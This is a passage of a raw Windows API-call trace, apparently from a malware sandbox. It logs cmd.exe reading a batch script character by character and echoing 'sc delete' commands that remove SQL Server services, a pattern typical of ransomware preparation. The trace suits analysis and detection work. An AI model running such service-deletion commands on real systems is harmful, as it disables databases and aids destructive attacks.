lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.503] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.503] GetFileType (hFile=0xb8) returned 0x3 [0066.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.506] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.506] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.506] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.506] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MQLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.506] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.506] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.506] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SLAgent$WOLTERSKLUWER\"\n") returned 1 [0066.506] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.506] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.506] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="SAgent$WOLTERSKLUWER\"\n") returned 1 [0066.506] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.506] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.506] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Qgent$WOLTERSKLUWER\"\n") returned 1 [0066.506] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.506] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.507] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.507] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Lent$WOLTERSKLUWER\"\n") returned 1 [0066.507] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.507] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.507] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.507] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="Fnt$WOLTERSKLUWER\"\n") returned 1 [0066.507] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.507] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.507] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.507] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Dt$WOLTERSKLUWER\"\n") returned 1 [0066.507] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.507] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.507] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.507] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="L$WOLTERSKLUWER\"\n") returned 1 [0066.507] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.507] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.507] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.507] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="aWOLTERSKLUWER\"\n") returned 1 [0066.507] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.507] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.508] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="uOLTERSKLUWER\"\n") returned 1 [0066.508] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.508] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.508] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="nLTERSKLUWER\"\n") returned 1 [0066.508] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.508] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.508] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="cTERSKLUWER\"\n") returned 1 [0066.508] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.508] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.508] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="hERSKLUWER\"\n") returned 1 [0066.508] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.508] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.508] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="eRSKLUWER\"\n") returned 1 [0066.508] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.508] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.508] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.509] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="rSKLUWER\"\n") returned 1 [0066.509] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.509] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.509] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.509] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="$KLUWER\"\n") returned 1 [0066.509] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.509] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.509] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.509] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="OLUWER\"\n") returned 1 [0066.509] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.509] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.509] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.509] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="PUWER\"\n") returned 1 [0066.509] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.509] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.509] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.509] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="TWER\"\n") returned 1 [0066.509] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.509] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.509] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.510] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="IER\"\n") returned 1 [0066.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.510] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.510] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.510] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="MR\"\n") returned 1 [0066.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.510] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.510] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.510] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e360, cchWideChar=1 | out: lpWideCharStr="A\"\n") returned 1 [0066.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.510] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.510] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.510] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e362, cchWideChar=1 | out: lpWideCharStr="\"\n") returned 1 [0066.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.510] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.510] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.510] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e364, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0066.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.510] GetFileType (hFile=0xb8) returned 0x3 [0066.510] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.511] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.511] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.511] GetFileType (hFile=0x120) returned 0x3 [0066.511] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 36 [0066.511] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x23, 